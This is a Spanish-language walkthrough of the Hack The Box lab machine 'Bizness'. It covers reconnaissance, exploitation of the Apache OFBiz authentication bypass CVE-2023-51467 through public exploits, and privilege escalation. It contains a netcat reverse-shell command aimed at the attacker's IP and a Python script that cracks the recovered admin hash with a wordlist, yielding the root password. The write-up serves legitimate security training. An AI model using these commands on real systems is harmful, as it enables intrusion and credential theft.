Bizness - WriteUp
🎯 Machine Info
Máquina Linux Dificultad Fácil
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.94SVN scan initiated Fri Jan 12 10:07:30 2024 as: nmap -sCV -p 22,80,443,41213 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 10.129.17.168
Nmap scan report for 10.129.17.168
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
41213/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Añadimos host bizness.htb
WHATWEB:
1
2
3
4
5
$ whatweb http://10.129.17.168
http://10.129.17.168 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.129.17.168], RedirectLocation[https://bizness.htb/], Title[301 Moved Permanently], nginx[1.18.0]
https://bizness.htb/ [200 OK] Bootstrap, Cookies[JSESSIONID], Country[RESERVED][ZZ], Email[info@bizness.htb], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[JSESSIONID], IP[10.129.17.168], JQuery, Lightbox, Script, Title[BizNess Incorporated], nginx[1.18.0]
FUZZING
Se ajusta wfuzz para que no muestre los resultados de redirecciones 302 y texto que no aporta nada.
1
$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,302 --hh 27200 -t 100 'https://bizness.htb/FUZZ'
1
2
3
=====================================================================
ID Response Lines Word Chars Payload
000002332: 200 491 L 1596 W 34632 Ch 'control'
Descubrimos la ruta “control”. Vamos al navegador y vemos esto:
Investigamos sobre Apache OFBiz y descubrimos una vulnerabilidad reciente SSRF, la CVE-2023-51467.
Más info sobre la vulnerabilidad: https://nvd.nist.gov/vuln/detail/CVE-2023-51467
Buscamos un exploit o PoC en GitHub y encontramos este: https://github.com/K3ysTr0K3R/CVE-2023-51467-EXPLOIT
Nos lo bajamos y lo ejecutamos:
Parece que es vulnerable a este exploit. Vamos a ver cómo le podemos sacar más provecho.
Gracias al exploit encontramos la ruta siguiente:
1
https://bizness.htb/webtools/control/main
Que nos lleva a la siguiente página:
Le damos a “Login” y nos lleva a la siguiente URL:
1
https://bizness.htb/webtools/control/checkLogin
Encontramos este otro exploit que permite la ejecución remota de comandos: https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass
Nos ponemos en escucha en el puerto 443 con nc y ejecutamos el exploit con una reverse shell simple de NetCat:
1
$ python3 exploit.py --url https://bizness.htb --cmd 'nc -c sh 10.10.14.40 443'
Y pa dentro! Sanitizamos terminal para volverla full interactiva y comenzamos a enumerar.
Buscando entre unos archivos .dat en la ruta “/opt/ofbiz/runtime/data/derby/ofbiz/seg0” encontramos la siguiente línea:
1
$ strings *.dat | grep -i "SHA"
1
<eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
Abajo el código para descifrar el hash SHA y nos devuelva el password en texto plano:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
import base64
import os
def cryptBytes(hash_type, salt, value):
if not hash_type:
hash_type = "SHA"
if not salt:
salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
hash_obj = hashlib.new(hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
result = f"${hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
return result
def getCryptedBytes(hash_type, salt, value):
try:
hash_obj = hashlib.new(hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
except hashlib.NoSuchAlgorithmException as e:
raise Exception(f"Error while computing hash of type {hash_type}: {e}")
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = '/usr/share/wordlists/rockyou.txt'
with open(wordlist,'r',encoding='latin-1') as password_list:
for password in password_list:
value = password.strip()
hashed_password = cryptBytes(hash_type, salt, value.encode('utf-8'))
# print(hashed_password)
if hashed_password == search:
print(f'Found Password:{value}, hash:{hashed_password}')
Y nos devuelve la contraseña de root:
Found Password:monkeybizness, hash:$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I=
También es la contraseña del panel de administración de Apache OFBiz. Usuario admin.
Entramos como root y reto conseguido!
Última actualización: 2025-01-10
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0







